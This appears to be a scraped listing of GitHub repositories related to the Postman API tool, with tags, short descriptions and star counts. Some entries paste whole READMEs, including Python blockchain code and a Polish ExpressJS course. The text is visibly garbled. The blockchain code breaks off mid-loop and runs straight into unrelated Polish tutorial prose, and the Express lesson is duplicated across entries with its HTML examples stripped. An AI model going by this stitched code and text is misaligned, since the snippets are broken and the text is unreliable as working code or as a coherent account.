qbikez/postman-sync
description, script, sync 		No description available. 0 stars 0 watchers 0 forks
dmitrynaumovwork/postman
sync 		Test of postman sync via GitHub 0 stars 0 watchers 0 forks
eeladc/postman
drive, e mail, mail, send, sender, sync 		A simple mail auto-sender with gdrive sync 0 stars 0 watchers 0 forks
eyedea-io/syncano-cli-plugin-postman
plugin, sync 		Postman plugin for Syncano CLI 0 stars 0 watchers 0 forks
jstep/Postman-Sync
collection, remote, sync, syncing 		Testing syncing Postman collection to remote repo without Postman Pro 💰 0 stars 0 watchers 0 forks
MeteorLyon/Postman-MeteorJs
application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync 		The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. 0 stars 0 watchers 0 forks
TomasKostadinov/Postman-Server
express, node, sync, system 		A express.js & node.js based Android Notification sync system 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

content (14 listings) (Back to Top)

aubm/postmanerator-markdown-theme
content, generate, generates, markdown, theme 		A theme for Postmanerator that generates markdown content 1 stars 1 watchers 1 forks
AntarSidgi/Telegram-PostMan
content, ember, form, format, included, send, user 		This bot you can send your Members post and educational content in text format from user to be included in $Channel 0 stars 0 watchers 1 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
contentful/ls-postman-rest-api
content, description, rest, script 		No description available. 0 stars 0 watchers 0 forks
KiiPlatform/gateway-agent-postman
agent, content, contents, form, gateway, local, test, testing 		postman contents for gateway-agent local REST api testing 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_Versioning
content, header, parameter, query, route, test, type, version, versioning 		Demonstrates 5 techniques for API versioning using route uri, query string parameters, custom request header & accept header (content-type). Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
jaiswalsachin/NodeCrudNoteApp
application, content, note 		This application is purely basic CRUD through postman, we can add note and content 0 stars 0 watchers 0 forks
june97y/training001_mission002
application, content, endpoint, endpoints, json, training, type, verify 		Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. 0 stars 0 watchers 0 forks
marcochin/Wiki-Db-API
article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia 		Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. 0 stars 0 watchers 0 forks
md-farhan-memon/site-scraper-rails-api
content, rails, scraper, site 		HTML Tag content Scraper - API, PgSql, Rails 5 0 stars 0 watchers 0 forks
mobiletta/a-postman-store
content, mobile, related, store 		Repository containing Postman and Newman related content 0 stars 0 watchers 0 forks
prrs/t_postman
backup, content, devices, mobile 		backup and analysis of textual content of mobile devices 0 stars 0 watchers 0 forks
rodrigo-contentful/apis-schemas
content, schema, schemas 		CDA, CMA JSON schemas for Postman, Insomina and more to come 0 stars 0 watchers 0 forks

proxy (14 listings) (Back to Top)

rgamba/postman
async, communication, microservice, proxy, service, sync 		Reverse proxy for async microservice communication 29 stars 29 watchers 1 forks
jnewmano/grpc-json-proxy
grpc, json, newman, proxy, tool, tools 		gRPC Proxy for Postman like tools 0 stars 0 watchers 17 forks
qabin/kb-proxy
proxy 		kb-proxy 是一个可本地部署的、提供代理功能、接口测试管理、支持在线Mock、Host环境管理的在线工具平台。 0 stars 0 watchers 15 forks
a85/PostmanProxy
proxy, things 		A proxy for doing some cool things with Postman 0 stars 0 watchers 13 forks
ambertests/charles_to_postman
charles, convert, converting, file, json, output, proxy, test, tests 		Script for converting Charlesproxy output to a Postman json file 0 stars 0 watchers 4 forks
thatinterfaceguy/yhcr-proxy-server-api-tests
collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests 		Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally 0 stars 0 watchers 1 forks
KissKissBankBank/cloudwatch-postman
cloud, cloudwatch, data, proxy 		A Node proxy to post data to AWS CloudWatch and AWS CloudWatch Logs 0 stars 0 watchers 0 forks
BenSlabbert/grpc-gateway-example
example, gateway, grpc, proxy, service 		Example project using gRPC Gateway as a REST proxy to a gRPC service 0 stars 0 watchers 0 forks
DrWrong/grpc_proxy
curl, grpc, grpcurl, proxy 		grpcurl postman 代理 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
joeystevens00/play-api-proxy-automated-tests
automat, automate, automated, play, proxy, test, tests 		Postman tests for play-api-proxy 0 stars 0 watchers 0 forks
MarcGrimme/postman_toxiproxy
proxy, toxiproxy 		Postman Collections for toxiproxy 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

